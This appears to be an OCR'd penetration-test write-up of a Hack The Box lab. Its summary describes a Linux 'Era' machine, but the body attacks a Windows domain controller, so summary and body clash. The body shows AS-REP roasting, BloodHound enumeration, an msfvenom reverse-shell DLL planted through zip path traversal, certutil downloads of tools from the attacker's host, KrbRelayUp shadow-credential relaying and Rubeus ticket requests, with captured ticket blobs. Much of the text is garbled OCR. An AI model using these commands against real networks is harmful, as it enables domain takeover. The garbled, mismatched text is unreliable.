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Objective of the Engagement

The objective of this assessment was to evaluate the security posture of the "Era” machine,
a Linux-based environment hosted on Hack The Box, by simulating adversarial techniques
against its web and file transfer services. Our testing focused on identifying vulnerabilities in
authentication mechanisms, file handling processes, and privilege escalation vectors.
Through systematic enumeration and exploitation, we gained initial access, identified valid
users, and ultimately achieved root-level control.

Scope of Assessment

Network Reconnaissance: Initial probes using ICMP revealed a Linux host with a TTL
of 63. Subsequent Nmap scans identified open ports 21 (FTP) and 80 (HTTP), indicating
a web server and file transfer service.

Service Discovery & Credential Enumeration: Virtual host enumeration with gobuster
uncovered (FRENIENN4Y. Directory brute-forcing with ffuf revealed a hidden
RIS, and a custom Python script identified valid users and (g19).
Security question manipulation via provided initial access.

Web Application Exploitation & Backup Analysis: An Insecure Direct Object
Reference (IDOR) vulnerability in allowed access to a backup file
containing a SQLite database ([FRCRLIECIERa) With user hashes, cracked using John

to obtain passwords for ENf eric
Privilege Escalation via Wrapper Exploitation: Analysis of backup PHP files disclosed

a vulnerable EEGINEIM QI endpoint with EPAEISVIE \Wwrapper support.

Authentication as enabled remote code execution, granting a shell
as Glgtd.

Root Access through Binary Manipulation: Examination of

and cron job logs revealed a signature verification process. A custom

reverse shell was created, signed with extracted data, and placed to exploit
the cron job, achieving root access.

Ethics & Compliance

All testing activities were conducted within the Hack The Box platform, adhering to its rules
of engagement and confined to the isolated "Era" environment. No production systems, user
data, or external resources were impacted. This report is confidential, intended solely for
personal learning and skill development, aiming to enhance cybersecurity knowledge and
encourage secure coding practices.

2 Methodology

Initial Enumeration
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The enumeration phase began with a detailed service and version scan targeting specific

ports on the host (TIFEEIEERIE) using (R with the flag to identify running

services, versions, and potential vulnerabilities:

sudo nmap -sVC -p
21,53,80,88,135,139,389,443,445,464,593,3268,3269,3389,9389,49664,49668,51
896,51897,62610,62615 10.129.238.9 -oN Target

Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-27 19:02 UTC
Nmap scan report for 10.129.238.9
Host is up (0.041s latency).

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

| 06-29-22 04:55PM <DIR> app

| 06-29-22 04:33PM <DIR> benign

| 06-29-22 01:41PM <DIR> malicious

| 06-29-22 04:33PM <DIR> queue

| ftp-syst:

|~ SYST: Windows NT

53/tcp open domain Simple DNS Plus

80/tcp open http Microsoft IIS httpd 10.0

| http-methods:

|  Potentially risky methods: TRACE

| http-title: IIS Windows Server

88/tcp open kerberos-sec Microsoft Windows Kerberos (server time:
2025-10-27 19:03:052)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn

389/tcp open ldap Microsoft Windows Active Directory LDAP
(Domain: bruno.vl10., Site: Default-First-Site-Name)

| ssl-cert: Subject:

| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08

| Not valid after: 2105-10-09T09:54:08

|

_ssl-date: 2025-10-27T19:04:36+00:00; -1s from scanner time.
443/tcp open ssl/http Microsoft IIS httpd 10.0

| tls-alpn:

|  http/1.1

| http-title: IIS Windows Server

| ssl-date: TLS randomness does not represent time

| ssl-cert: Subject: commonName=bruno-BRUNODC-CA
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| Not valid before: 2022-06-29T13:23:01

| Not valid after: 2121-06-29T13:33:00

| http-methods:

|  Potentially risky methods: TRACE

445/tcp open microsoft-ds?

464/tcp open Kkpasswd5?

593/tcp open ncacn _http Microsoft Windows RPC over HTTP 1.0
3268/tcp open 1ldap Microsoft Windows Active Directory LDAP
(Domain: bruno.vl0., Site: Default-First-Site-Name)

| ssl-cert: Subject:

| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08

| Not valid after: 2105-10-09T09:54:08

| ssl-date: 2025-10-27T19:04:36+00:00; -1s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
(Domain: bruno.vl10., Site: Default-First-Site-Name)

| ssl-cert: Subject:

| Subject Alternative Name: DNS:brunodc.bruno.vl, DNS:bruno.vl, DNS:BRUNO
| Not valid before: 2025-10-09T09:54:08

| Not valid after: 2105-10-09T09:54:08

| ssl-date: 2025-10-27T19:04:36+00:00; -1s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services

| ssl-cert: Subject: commonName=brunodc.bruno.vl
| Not valid before: 2025-10-08T09:36:40
| Not valid after: 2026-04-09T09:36:40
ssl-date: 2025-10-27T19:04:36+00:00; -1s from scanner time.

|
| rdp-ntlm-info:

| Target Name: BRUNO

| NetBIOS Domain Name: BRUNO

| NetBIOS Computer Name: BRUNODC

| DNS Domain Name: bruno.vl

| DNS Computer Name: brunodc.bruno.vl

| DNS Tree Name: bruno.vl

| Product Version: 10.0.20348

|  System Time: 2025-10-27T19:03:56+00:00

9389/tcp open mc-nmf .NET Message Framing

49664/tcp open msrpc Microsoft Windows RPC

49668/tcp open msrpc Microsoft Windows RPC

51896/tcp open ncacn http Microsoft Windows RPC over HTTP 1.0
51897/tcp open msrpc Microsoft Windows RPC

62610/tcp open msrpc Microsoft Windows RPC

62615/tcp open msrpc Microsoft Windows RPC

Service Info: Host: BRUNODC; 0S: Windows; CPE: cpe:/o:microsoft:windows
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Host script results:
smb2-security-mode:
3:1:1:
Message signing enabled and required
smb2-time:
date: 2025-10-27T19:03:56
start date: N/A

Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 101.27 seconds

The scan confirmed the host (It NaanoIRad (NetBlOS: (IRIERIS. Domain: (ITTERYY)

is a Windows domain controller running Active Directory services. Notably, anonymous FTP
login was allowed on port 21, exposing directories: E}g, CEIEL (TN, and

queue

Server name resolution:

10.129.238.9 brunodc.bruno.vl brunodc bruno.vl bruno vl

FTP Anonymous Access and File Retrieval

Anonymous FTP access was confirmed on port 21. All accessible files were recursively
downloaded using:

wget -m --no-parent ftp://10.129.238.9

The following files were retrieved:

-rwW-rw-r-- kali kali 156 Jun 29 2022 changelog

-rwW-rw-r-- kali kali 409 Jun 28 2022 SampleScanner.deps.json
-rW-rw-r-- kali kali 7154 Jun 29 2022 SampleScanner.dll
-rwW-rw-r-- kali kali 174536 Jun 29 2022 SampleScanner.exe
-rW-rw-r-- kali kali 163 Jun 28 2022
SampleScanner.runtimeconfig.dev.json

-rw-rw-r-- 1 kali kali 146 Jun 28 2022

SampleScanner.runtimeconfig.json
-rw-rw-r-- 1 kali kali 4 Jun 29 2022 test.exe
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File contents were inspected:

calimkali [19:20:85] $ cat changelog
Version 8.3

- integrated with dev site

- automation using svc_scan

Version 8.2
- additional functionality

Version @.1
- ipitial support for EICAR string

[19:17:49] % cat SampleScanner.deps.json

"runtimeTarget”: {
"name”: ".METCorefpp,Version=v3.1",
"signature”: "°

}

ompilationOptions™: {},
"targets”: {
" .NETCoreApp,Version=v3.1": {
"SampleScanner/1.8.8": {
"runtime”: {
"SampleScanner.dll1”: {}
}

"libraries™: {
"sampleScanner/1.8.8": {
"type": "project”,
"serviceable”: false,
"shas512": ""

[19:18:10] $ cat SampleScanner.runtimeconfig.dev.json

"runtimeOptions®: {
“"additionalProbingPaths™: [
"C:\\Users\\xct\\.dotnet\\store\\ |arch|\\|tfm|",
"Ci\\Usersh\\xct\\.nuget\\packages"

[19:19:03] $ cat SampleScanner.runtimeconfig.json

"runtimeOptions”: {
"tfm": "netcoreapp3.l”,
"framework”: {
"name”: "Microsoft.NETCore.App”,
"version®: "3.1.0"

Using (GEEiee on R Raay revealed a reference to ([IHICISIEREY:

NETCoreApp,Version=v3.1
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This indicated the application was a .NET Core executable, suitable for analysis with ILSpy
or dnSpy.

A user path was discovered within the PDB file:

C:\Users\xct\source\repos\SampleScanner\obj\x64\Release\netcoreapp3.1\Samp

leScanner. pdb

wt3a)

WrapNonExceptionThrows
FrameworkDisplayName

SampleScanner

Release

1.0.0.0

1.0.0
%SampleScanner.Program+<PatternAt>d_ 0
RSDS
C:\Users\xct\source\repos\SampleScanner\obj\x64\Release\netcoreapp3.1\SampleScanner.pdb
SHA256

AS-REP Roasting Attempt on

An AS-REP roasting attack was attempted on the account (users with

DRI are vulnerable):

sudo impacket-GetNPUsers BRUNO.VL/xct -no-pass -dc-ip

The attempt failed — no hash was returned.

However, the EhQERIENI] file contained a critical clue:

kalidmkali [19: 1 $ cat changelog
Version 0.3

- integrated with dev site

- automation using svc_scan

Version @.2
- additional functionmality

Version 8.1
- initial support for EICAR string

It referenced the service account (RIS

Successful AS-REP Roasting on

The AS-REP roasting attack was repeated on (IS

sudo impacket-GetNPUsers BRUNO.VL/svc scan -no-pass -dc-ip
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A valid Kerberos hash was obtained:

R Eet (O = G Ry

[+] Im

1024 Loops:1 Th:
1/1 (100.00%)

Active Directory Enumeration with BloodHound

Using the cracked credentials, BloodHound was executed for domain reconnaissance:

sudo bloodhound-python bruno.vl

loodHound.py for BloodHound LEGA
Found AD demain: bruno.vl

Connecting to LDAP s brunodc.bruno.vl
ins
ns in the forest

to LDAP server: brunodc.bruno.vl

ntainers
sts

mputer enumer

e in QoM @

Key findings:
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ereny [ GenericalL It sve scan)

C_SCAN@BRUNO.VL

ACCO dPERATORS@B RUNO.VL

JEREMY.SINGH@BRUNO.VL

(ETRCEAYIINGE is a member of Domain Admins

F pembet

CHARLES YOUNG@BRUNO.VL
__DOMAIN ADMINS@BRURGWYL

ok
el

Full user list:

ine1” B
INODC) (domain:bruno.vl) (signing:True) (
[+] bruno
-Usernam a 3 -BadPW- -Description-
dministr. r 2023-08-22 0 ] Built-in account for administering the computer/domain
G Built-in account for st access to the compu domain
tribution Cen e Account

2
2
2
2|
2
2
2
20
2|
2
2
2|
2|
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Another AS-REP roastable account was identified:

DTG D WIEIS LU

11 wasia L

Find Dangerous Privileges for Domain Users Groups

Find Domain Admin Logons to non-Domain Controllers

3 e

Find Kerberoastable Members of High Value Groups SVC_SCAN@BRUNO.VL  SVC_NET@BRUNO.VL

List all Kerberoastable Accounts

Find Kerberoastable Users with most privileges

Find AS-REP Roastable Users (DontRegPreAuth)

sudo impacket-GetNPUsers BRUNO.VL/svc net -no-pass -dc-ip

[sudo] password for kal
Inpacket v0.13.0.de Copyright Fortra, LLC and its affiliated companies

+] Impacket Library Installation Path: /usr/Lib/python3/di kages/impacket
ng TGT for sv

1/1 (100. 0/
1871.5 kH/s ( 024 Loops:1 Thi
1/1 (100.00%) Digests ( 1/1 (108.00%) Di;

SMB Share Enumeration and Writable Access

SMB shares were enumerated, revealing a writable share:

BRUNODC i 1 r Y in:bruno.vl) (signing:True) (
BRUNODC

=
s

=
=
0t

Share Permissions Remark

=

BRUNODC ADMIN$ Remote Admin
BRUNODC c$ Default share

BRUNODC CertEnroll READ Active Directory Certificate Services share
BRUNODC IPC$ READ LE I

BRUNO| NETLOGON READ Logon

BRUNODC queue READ ,WRITE

BRUNODC SYSVOL READ Logon server share

=
e
0

= o
b
;o

o
FE
w0

net]:
et a list of possible commands.

@

bruno-BRUNOD
bruno-BRUNOD
bruno-BRUNOD
bruno-BRUNOD
brunodc.bruno.vl_bri C-CA( Th

+ 00 0o o B

5

9 10:04:08 2

brunodc . bruno.vl_bri ( - Thu Oct 9 10:04:08 2
r Thu Oct 9 10:04:@8

runo-BRUNODC-CA(1)+ as bruno-BRUNOD!
r RUNODC (1) i as bruno-BRUNOD
L o bruno-BRUNOD . (4.7 KiloBytes/se

.crl of size 917 as bri C 1 (6.0 KiloBytes/sec)
bruno-BRUNODC f 7 .
bruno-BRUNOD r' P 1_bruno-BRUNO
bruno-BRUNOD ( ).cr f € a r 1_bruno
bruno-BRUNOD 7 - bruno-BRUNO
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Web server scan with Nikto (ASP.NET/IIS):

ns
to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/miss

.NET Application Analysis and DLL Hijacking

To analyze EEWAENIERUEINNEY, Process Monitor (Procmon) was used on a Windows
analysis environment with the following filters:

Download and run Process Monitor from Sysinternals.
Filter for Target Executable:

- Press Ctrl + L to open the filter.

- Add: Process Name -> contains -> SampleScanner.exe
- Add: Result -> is -> NAME NOT FOUND

- Add: Path -> ends with -> d11

Run the Executable and observe DLL loading events.

Look for missing DLLs in writable directories.

Procmon revealed that i & p4a 148 Was being loaded from a predictable path and was
missing:
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Process Monitor - Sysinternals: www.sysinternals.com
| File Edit Event Filter Tools Options

VYE@ & &
Time o 2 PID | Operation 2 Result
) \ NAME NOT FOUND
NAME NOT FOUND Read Attribute:
orecirdil NAME NOT FOUND
\Microsoft NETCore App NAME NOT FOUND £
NAME NOT FOUND ) Read Attributes. D
icrosoft NETCore App 2 NAME NOT FOUND ccess: Read Attributes,
icrosoft NETCore App 2 NAME NOT FOUND cess: Read Attributes,
icrosoft NETCore App <t NAME NOT FOUND Desired Access: Read Attributes.
icrosoft NETCore App NAME NOT FOUND Desired Access: Read Attribute:
NAME NOT FOUND ) LT Read Attributes,
NAME NOT FOUND . Read Attribute:
NAME NOT FOUND ) £ Read Atfributes,
J NAME NOT FOUND ) Read Attributes. D
.. E@SampleScanne... \Bru ) f ymReader.Native.amdé4.dll NAME NOT FOUND -cess: Read Aftributes, Dis
.. C@SampleScanne... ftDiaSymReader.Native.amd64.dll NAME NOT FOUND 24 Read Attributes.
5.. [dSampleScanne... C:\Windows\Microsoft DiaSymReader.Native.amd64.dll NAME NOT FOUND ss: Read Attributes.
[ SampleScanne 76! - ateFil /b icrosoft DiaSymReader Native amd64 dll NAME NOT FOUND Desired Access: R
7680 Z . rars| Microsoft DiaSymReader Native amdé4.dll NAME NOT FOUND Desired Acces
76 —)C =File | \Ope \l NAME NOT FOUND
NAME NOT FOUND
C\User: e pps)| NAME NOT FOUND
HKLM|S: \l NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
NAME NOT FOUND
icrosoft NETCore App 2 NAME NOT FOUND
icrosoft NETCore App adva NAME NOT FOUND
icrosoft NETCore App < : NAME NOT FOUND
icrosoft NETCore App < NAME NOT FOUND
Yeader.Native.amdé4.dll NAME NOT FOUND cess: Read Attributes,

Ventana  Ayuda <]

Process Monitor - Sysinternals: www.sysinternals.com
File Edit Event Filter Tools Options Help
& LA

Time o Operation : Result Detail
RegOpenKey ) SetiC NAME NOT FOUND __ Desired Access
CreateFile T NAME NOT FOUND
CreateFile : coreclr.dl NAME NOT FOUND p
o CreateFile : ared\Microsoft NETCore. App\3.1.32\bei NAME NOT FOUND Read Atributes. Disposition
) CreateFile Di\Bruno\app! NAME NOT FOUND Read Atiibutes. Disposition
fm/CreateFile C:\Program Files\dotnefishared\Microsoft NETCore. App\3.1 NAME NOT FOUND ead Aftributes, Dispasition
CreateFile CiProgra \shared\MicrosofLNETCore.App\3.1 : NAME NOT FOUND Read Atributes, Disposition
fmJCreateFile CiProgra \shared\MicrosofLNETCore.App\3.1 NAME NOT FOUND
CreateFile cy \ \shared|Microsoft NETCore App!3.1.32| NAME NOT FOUND s Read Attribute
CreatsFile soft DiaSymReader Native amd64.dil NAME NOT FOUND Read Atribute
) ymReader Native.amds4.dll NAMENOTFOUND D
CreateFile " ymReader Native. amds4.di NAME NOT FOUND i ! utes. Disposition:
CreateFile : aSymReader Native.amds4.dll NAME NOT FOUND Disposition
CreateFile ! f DiaSymReader Native. amd64 di NAME NOT FOUND i
fn/CreateFile g r5\System32\Microsoft DiaSymReader Native. amd64.dil NAME NOT FOUND
fJCreateFile " soft DiaSymReader Nativi NAME NOT FOUND
f/CreateFile g : > ft or Native. amd64.dil NAME NOT FOUND
CreateFile g - 1 . DiaSymReader.Native.amd64.dll NAME NOT FOUND
i SampleScanne.. CreateFile rs\Sy DpenSSH\Microsoft DiaSymReader.Native.amd64.dl NAMENOT FOUND  Desired Access
.. ERSampleScanne.. fmJCreateFile soft DiaSymReader.Native.amds4.dll NAMENOT FOUND  Desired Acc
(o CreateFile \Users\User|AppDatal| sApps|Microsoft DiaSymReader Naiive.amdb4.dll  NAMENOT FOUND  Desired Access: R utes, Disposition:
RegOpenkey HKl \C C NAME NOT FOUND ~ Desired Acc d
f/CreateFile NAMENOTFOUND  Desired Access: R . Disposition
CreateFile \Progrz J NAME NOT FOUND ~ Desired Access
CreateFile C\Progrz | ficrosoft NETCore App\3.1.32\be NAME NOT FOUND i
CreateFile ! NAME NOT FOUND !
o CreateFile g1 fshared\Microsoft NETCore App NAME NOT FOUND Disposition
) CreateFile 2d\Microsoft NETCore App! NAME NOT FOUND ] utes. Disposition
468 [fm) CreateFile ; NAME NOT FOUND Read Atributes, Disposition
EESampleScanne.. 468 [)CreateFile \Progra ! \Microsof. NETCore.App\3.1.32\k NAME NOT FOUND Read Atributes, Disposition
i SampleScanne.. Di\Bruno\app\Microsoft DiaSymReader.Native. amd64.dl NAMENOT FOUND  Desired Access: Read Aliibutes, Disposition

i
i
4
T

cked by virtual memory

Using dnSpy, decompilation of confirmed it dynamically loads

assemblies from [SANELIAERNCTETEN:
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@ dnSpy v6.1.8 (64-bit, NE

Archivo  Editar Ver Depurar Ventana Ayuda Q 2 G - P Iniciar

Explorador de ensamblados ~ X Program

64 bits &

-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";

"#", SearchOption.

(text2))
ry zipArchiveEntry in zi

( \\", zipArchiveEntry
(destinationF

4
4

Malicious DLL Creation and Path Traversal Upload

A malicious (FAEiatIY Was generated using (RG0S

msfvenom windows/x64/shell reverse tcp Your IP

Your Port dll > hostfxr.dll

To bypass upload restrictions and achieve path traversal, the DLL was placed inside a ZIP

archive with the internal path ([T NITISEaINY. then uploaded via SMB to the
directory:
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Agregar al archivo comprimido

Archivo DA\Bruno\app!

frostzi

Formato del archivo comprimido:  zip w Modo de actualizacion: Agregary remplazar archivos
Mivel de compresién: 5 - Mormal w Maodo de ruta: Mombres de ruta relativos W
Meétodo de compresion: * Deflate ~ Opciones
Crear archivo comprimido SFX
Tamafio del diccionario: * 32KB
(] Comprimir archives compartidos
- . * . » .
Tamafio de |a palabra: 32 > [ ] Borrar archivos después de la compresion
Tamario de bloque solido: )
Cifrado
Mumero de hilos de la CPLU: 16 hed {16 Ingresar confrasefia:
Memaoria usada para comprimir: o
Ve "
576 MB /1434 MB [ 1792 MB ° . .
Reingresar contrasefia:
Memona usada para descomprimir: 2MB
Dividir en volimenes, bytes:
[ ] Mostrar contrasefia
v
Meétodo de cifrado: ZipCrypto W
Parametros:
Opciones
Aceptar Cancelar Ayuda
~
D:\Bruno\app\hostfxr.zip\..\app\ — (] X
Archivo Editar Ver Favoritos Herramientas Ayuda
L - A4 ey =» ® i
Agregar Extraer Probar Copiar Mover Borrar  Informacion
5 ] | D:\Brumo\appiﬁosﬁrﬂpi.{app‘ I ~
Nombre Tamafio Tamafio co.. Modificado  Creado Accedido Atributos Cifrado Comentario CRC Método Caracteristi.. SO anfitrign  Version
B]husﬁxr‘dll 9216 1766 2025-10-28.. A - A685236C Deflate NTFS FAT 20

0/ 1 objeto(s) seleccionado(s)

[
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Upon execution by the service, a reverse shell was received:

caligkali [22:08:06] $ -nl

listening on [any] 5555

connect to [1@.10.15.14] from (UNKNOWN) [1@0.129.238.9] 53138
Microsoft Windows [Version 10.0.20348.768]

(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>[]

calimkali [22:18:32] %
Password for [WORKGROUP\svc_scan]:

Try "help” to get a list of possible commands.
smb: \> put hostfxr.dll hostfxr.zip

putting file hostfxr.dll as \hostfxr.zip (58.1 kB/s) (average 58.1 kB/s)
smb: \» put hostfxr.dll

putting file hostfxr.dll as \hostfxr.dll (58.8 kB/s) (average 58.4 kB/s)
smb: \> put hostfxr.zip

putting file hostfxr.zip as \hostfxr.zip (12.2 kB/s) (average 43.0 kB/s)
smb: \> dir

scan” Y\\\10.129.238.9\\queue

D @ Tue Oct 28 22:11:57 2025
o D @ Wed Jun 29 13:41:83 2022
hostfxr.zip A 1936 Tue Oct 28 22:11:23 2025

4980479 blocks of size 4@96. 529263 blocks available
smb: \> put hostfxr.dll
putting file hostfxr.dll as \hostfxr.dll (57.7 kB/s) (average 46.7 kB/s)
smb: \> dir
) U lue OCT 28 22:12:54 2025
o D @ Wed Jun 29 13:41:03 2022
hostfxr.dll A 9216 Tue Oct 28 22:12:54 2025
hostfxr.zip A 1936 Tue Oct 28 22:11:23 2025

4980479 blocks of size 4@96. 529260 blocks avallable
smb: \> [l

The user flag was located and retrieved:

c:\Usersh\svc_scan‘Desktop>type user.txt
type user.txt

Post-Exploitation and Privilege Escalation Preparation

A simple HTTP server was started to transfer tools:

python3 http.server
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LI was uploaded and executed:

certutil -urlcache -split -f http://10.108.15.14:81/winPEASx64.exe winpeas.exe
*#%x%% (Online *&*%

00000

9b3200
CertUtil: -URLCache command completed successfully.

c:\temp>ls

1s

'‘ls' is nmot recognized as an internal or external command,
operable program or batch file.

c:\temp>dir

dir

Volume in drive C has no label.
Volume Serial Number is @76D0-3413

Directory of c:\temp
B2 L <DIR> -
:21 PM 10,170,580
1 File(s) 10,170,880 bytes

1 Dir(s) 2,147,184 ,640 bytes free

>Winpeas.exe

Resource-Based Constrained Delegation (RBCD) via Shadow
Credentials

RBCD allows a compromised account to configure delegation rights on another object. The

VR R EIVL KoY YR (A IH AR A (R TR e ek RaYA attribute controls this behavior.

The KrbRelayUp tool was used to exploit Shadow Credentials and perform RBCD:

Checking KrbRelayUp
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#krbrelayup

KrbRelayUp was compiled:

msbuild D:\KrbRelayUp\KrbRelayUp.sln /p:Configuration=Release

Transferred using (SR GRENY:

certutil http://10.10.15.14/KrbRelayUp.exe

c:\temp\KrbRelayUp.exe

KrbRelayUp leverages a vulnerability in certificate-based authentication to modify the

msDS-AllowedToActOnBehalf0fOtherIdentity [EltiglelVitzNel@igl=Ne[e]gst:1[aNele]alige]|[=]g

EITIEEREY). allowing it to impersonate any user (including administrators) when accessing
resources.

The command:

17731
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\KrbRelayUp.exe full -m shadowcred -cls d99e6e73-fc88-11d0-b498-

00a0c90312f3 -p 1024

SUOGELLIVARN: Uses Shadow Credentials technique

B3 specifies the CLSID for the certificate template
S prY: Key size
1188 Performs complete relay and delegation setup

Result:

6-11d0-b498-00a0C90.
c903123 -p 1024

[+] Looking for
[+] Port 10246
[+] Register run server

[+] uutrhh Auth from NT/ X ing now
[+]1 LDAP session established

E te AT
GabBEE ZThPHFLMENRN: g 5

PD712nIWLK7pQl /NUEETTE4XZx Ing9/F48/) h, ) ALTkVBFITS 653 s ) The V87c29F2 V1t cOSBELEHKaphs Iy pm-vaqmnuan,n/; urqlmw\v
JESmSEzxnt g /Irmh‘lTuF‘F‘NWELa/HW CFb 3uVrzofXFS iRWmof ir0i Rv16359a f 3 jea I Ny gpuwkgmumn,hun/
©Ix9eyTZyDF J0GtWLY ! Y wauqurwu 5cS+1pEjTyTYTaj tAds1DIaTvi/gub wumucmum\mm 635Q6Rax/TL1YTaAV) eps S C62FUDbPRVYadI35SXECNGBPg6S
P3UQ/pEUrN8qHAG2PGME FHHOG 2nhr Jur ATXyTQTOVX ke X5q17utGADL9eUYMO2KgT: 2D+ 8y SkDxC+aN2nt j LTT/X03EhOpO bNONmE b5 V3y XS 2LaToPPSBq1Muo/ Co:
S ) TR G 6ui w pQ) Gdt3Ae9t/F6roItinxbG VHgsn: r 7ulZ0GOUEYTBA4FVF/1+Xal1J9FmC3T ImlmRsY:
17XMYekBCAGANLUTge3dTy g+nz0551y 19ABIHrOWXMKSLQRuC xe3K6 89KBeYaUbGT65Q9s CKvgh@v4TgUsEn2u1/24pd60tWIC3KbAT3 90w/ IH TATBgkghkiGIw0BCRUXBZQEAQAAADBXBg
AYQA ADAANUEhAuIAN\lAIADMN\IA DHALGAOADUAOQBIAC ﬂmﬂE)AuIANﬂALAuUAJA;ADH\NnA;AuD WHKGCSS ! BVAHMADWBAHQATABFAG4AS ABAGAAYWBL AuﬂAIAEiAH\AUUAEAuEADEEVNAA EFAFJ\AIAEDAHIAanEuAHmnuEnAHIm QBWAGEA:
AUABYAGBAZBPAGQAZQBYNLID hvCNAQCGOTTDWD \QAwgg01Bgkghk iGIWOBBWEWHAY! IAQUEA: AuEA: rpwv HQICBICAZEOIBI1B1 mmmnmnlmwnanwgk,cunq IgIBVt0t/IT6FT ImcZ1v/pZgUANYFHSC/GbLUAF JNFO1+G; bAocIy81h+Nr
TiDxToqC 9] \uuumengum-uD/ OCKQRRyHt 721AQ0kb3 5yV9CpOgadeDfD/ MrSs RUNZZXG0g!207n3/ €271 ,v;ﬁzsnxz.z-rn XI1 ¢/bWMi TFKWPRET /T Tsi ED”LFNH:!WQ" j
/d09xRs: amvn/naumn YXLNAKSQEKQ) G pok [OWZKSBILVYUVXYKBXxhrHTKA XeWMx JExeTi 8122qyInicnpek 3 CSKayxz UﬂhmeMENmTETWUDHg\
USTKNRhx9dDWq: K dN3KALSKIFE63 htt i
ut5 qutuhﬂmb{LcalcE,\b'lﬂ nL347A1YevyXoTeqkek qdk:s DGDQ:u‘nFQmD’ PO ST B s it

7IMTUQ15AZ4LFL rEFkCIGATCQl ki v 351r9dfdYUs73G 3Q2u1228k/ hB

= te Password
[+] Using PKINIT with

17d05 :b6dd%5 )
;nqu SL2self request to fe8o:
self su
[+] Got a TGS for
[+] substituting in
[+] Importing ti g
krbscm —ServiceName "

Ticket Acquisition with Rubeus

A TGT was requested for the machine account using the generated certificate:

\Rubeus.exe asktgt /user:brunodc$
/certificate:MIIKSAIBAzCC. .snip..mJt+1lzxei6hEgICB9A=
/password:dH9#elL3=dW4# /enctype:AES256 /nowrap

[+] Using :mm with etype a _ and subjec =Domain Controllers, DC=bruno,
[*] Building AS-REQ (w/ PKINIT pr

[*] Using o r

[+] T6T reques

[+] baseb4(t.

/G6ADAGECORQWENSGa3idGdoGwh i 2bKOC c X 4Fsucecs iKLMWRVLZF61Wb/SC27hyZ2 3
VL tchDn]hkh Uy1E@aRST eAtjocifBogT14fGLI7EUME! 7 33 XXFOSNVZXOWTS J )i NuILF\- _‘hk/HuiF 1nxBS
Ts¥+hk1lrrX96 Blrﬂl\ Z5S1rbBHE j

R AX
54nQ9KSSMPiHTUEHIISLEZVoBb Ia n,nmxurm. XmF s I8y (/gTmdDLEZt tZpiDIMpbyVbs JCyEVCAgREYOPaK: u\=<N0N1
45UAUZNBLO6dS U./cF‘gZD/A 1B+Y6e8gNDAC & JW2UDFUFZEg8AM1LV7XvxK+bnurLoeh: NgVF‘ A
f 2 /16IPBW9Fdy6S/BS/ LMz e;
rXILNOOLMLO3VSNY0UGO2wa42tS FOE201LVuJPIT4Q7v+THENS Ini
ZGMkow CDBQBAGQAAPREYDZ TuMj otq IDA4MIKOMVQNE!

11/5/2025 10
name_canonicalize, pre_authent, initial, renewable, forwardable
_hmac_shal
thnSLgMKPTss8ANVY+/KUA0jaHB zm+ TuQTh1W8/8XT
:  BEFABIDOE2CFFFF861D3E57038B39CB17A0C080137 7BBCEBAB37AG4AI3C208D8
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The ticket was converted to format:

L t ./bruno_ticket

0IGNCCB1agAnIBBaEDAEW00I FazCCBWdhggV MITFX6ADAZEF0QoBCEISVUSPLLZMohOWG6ADAGECORQWENSGa3 J1dGd@Guh i cnVuby 52bKOCBS swegUnoANCARKhAWTBAKCBRKEZEUVOquiARY3Y ji FulaHD2Y tniWLUXqYDDwkOpXXr30U/2Yg1UERS666TCLraEns 1SAvinc tZrsV2cFopQ3b/yY
pnH4Mtedhpy8CdtubKRT+LugGIpYQ+wg0Zd81IYLo+9LUt+Qj0gVorSTirADLZwONOintpe5FWXU3bfweP9+5zHG21AL1FTfdXaGnYePV3eqfBDS4tPROVANN e jbt07S45e0dvBIV7+X001je0QeN07zgmt rG LmPPStPoZU3yp7Liw1t PCRBANK3VOHD1t4dX1gNOFOEIN jESSHINVS 4aZXeD4n02zTiC
Pwo3tYZ0cquk7XOsF fMrEdtsPIRgwhXZWT oAy ZoWZT2H ] i+1A20X+90RMBRGPCBFM2kW1910KSBSB3 eEISWTPFmHpKeKhRC+LK3/gS1KTGUTOXS fbs SHSOWQFXy6Lubcrbb9 1inwnha f 2XgAyOMO1 gexOMGd0 IVkQ8Zx4oUmeEmehR4HH1 jqPNAFVS IWZSWgNXROw/AHhIEe/6YO69RF6/A3 jnj 1d9U
pUSvA2raqcrgpbIWBBq767pkFFiveK28bNNe+nwhjrsat43dxPEFzen3NOUtNTolelegmU8yNYTP22qKe0Gt jQioVpe92Dy/Pso76tNPmMN/ ZHUMTKQB1 FoAdYlmt dx20Y5NVK j 1+2JKVDL70Y3pUjZXmy708nbNa6KrvbSg FKWQS6PLTZq30P5 j IMSLVXNSeT9 jEkPo/Dh9sUPZPaoS6UqLURNZLF FN+1
b 11/ 4FV2dUj vFhoHmfROCHWMMI i cq7qBRfoUAJTER/hTCOZHUGPuXdZfBNQIVbFqn755Q00EBLYXC2188TXKdqY9 LBOMVLNIACMICZZDS+/+L7+qC1Q0WLNUX92S9LNICVGGFWHXNI3PGebme6Dke /00ZaNZ7 1 10prt262/aXkawUoHWFQY211QnWmO7VLZ7 FWKADQG4CMINMGHE TS 7+2Y £ Frl/xMuU
fQLybo3dBU2nY/RIQH3Qq2h fSCX7EVH/bNtahEE/eEDV/PLNTOKB2hwZ77nVd11/TI4+c6tYmXHNVWSHKLrnaZ6fqH1753Q/q/C1toKnFT6gBKhdFueKiWxgRIEZVMXXmQzuH1wl178IXVZ78AFdHs qrizd1fTpPZDOAG ImXKEKF j8hWaQMvyHqz1+6Z0ESWFKorOmrOMTEhHATZEIf55aLFW29dN7Dm
